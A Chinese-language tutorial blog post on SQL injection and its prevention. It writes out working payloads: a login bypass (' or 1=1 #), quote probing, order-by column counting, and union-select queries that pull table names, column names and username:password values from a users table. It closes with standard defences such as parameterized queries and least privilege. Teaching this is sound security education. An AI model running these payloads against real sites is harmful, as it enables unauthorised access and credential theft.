SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL infobright的安装步骤
Apr 07 MySQL
MySQL中你可能忽略的COLLATION实例详解
May 12 MySQL
MySQL 重命名表的操作方法及注意事项
May 21 MySQL
.Net Core导入千万级数据至Mysql的步骤
May 24 MySQL
MySQL 全文检索的使用示例
Jun 07 MySQL
mysql如何能有效防止删库跑路
Oct 05 MySQL
一篇文章看懂MySQL主从复制与读写分离
Nov 07 MySQL
MySQL 数据 data 基本操作
May 04 MySQL
Mysql数据库事务的脏读幻读及不可重复读详解
May 30 MySQL
MySQL优化之慢日志查询
Jun 10 MySQL
Mysql表数据比较大情况下修改添加字段的方法实例
Jun 28 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
PHP iconv 解决utf-8和gb2312编码转换问题
2010/04/12 PHP
PHP提示Notice: Undefined variable的解决办法
2012/11/24 PHP
4种Windows系统下Laravel框架的开发环境安装及部署方法详解
2020/04/06 PHP
js setTimeout opener的用法示例详解
2013/10/23 Javascript
js 时间格式与时间戳的相互转换示例代码
2013/12/25 Javascript
javascript自动给文本url地址增加链接的方法分享
2014/01/20 Javascript
借助javascript代码判断网页是静态还是伪静态
2014/05/05 Javascript
在linux中使用包管理器安装node.js
2015/03/13 Javascript
javascript字符串循环匹配实例分析
2015/07/17 Javascript
Hallo.js基于jQuery UI所见即所得的Web编辑器
2016/01/26 Javascript
利用Angularjs和原生JS分别实现动态效果的输入框
2016/09/01 Javascript
Jquery把获取到的input值转换成json
2017/05/15 jQuery
vue单页应用中如何使用jquery的方法示例
2017/07/27 jQuery
浅谈在koa2中实现页面渲染的全局数据
2017/10/09 Javascript
Angular4自制一个市县二级联动组件示例
2017/11/21 Javascript
jQuery实现的淡入淡出与滑入滑出效果示例
2018/04/18 jQuery
Vue组件的使用及个人理解与介绍
2019/02/09 Javascript
图文详解vue框架安装步骤
2019/02/12 Javascript
package.json配置文件构成详解
2019/08/27 Javascript
Node对CommonJS的模块规范
2019/11/06 Javascript
antd 表格列宽自适应方法以及错误处理操作
2020/10/27 Javascript
[04:26]2014DOTA2西雅图国际邀请赛 总决赛TOPPLAY
2014/07/22 DOTA
Django的URLconf中使用缺省视图参数的方法
2015/07/18 Python
浅谈python类属性的访问、设置和删除方法
2016/07/25 Python
python安装oracle扩展及数据库连接方法
2017/02/21 Python
高效使用Python字典的清单
2018/04/04 Python
Python编程中类与类的关系详解
2019/08/08 Python
基于HTML5陀螺仪实现ofo首页眼睛移动效果的示例
2017/07/31 HTML / CSS
森海塞尔美国官网:Sennheiser耳机与耳麦
2017/07/19 全球购物
MYPROTEIN澳大利亚官方网站:欧洲运动营养品牌
2019/06/26 全球购物
网络体系结构及协议的定义
2014/03/13 面试题
买房子个人收入证明
2014/01/16 职场文书
幼儿园六一儿童节活动方案
2014/08/26 职场文书
2014年驻村干部工作总结
2014/11/17 职场文书
pytorch中[..., 0]的用法说明
2021/05/20 Python
详细聊一聊mysql的树形结构存储以及查询
2022/04/05 MySQL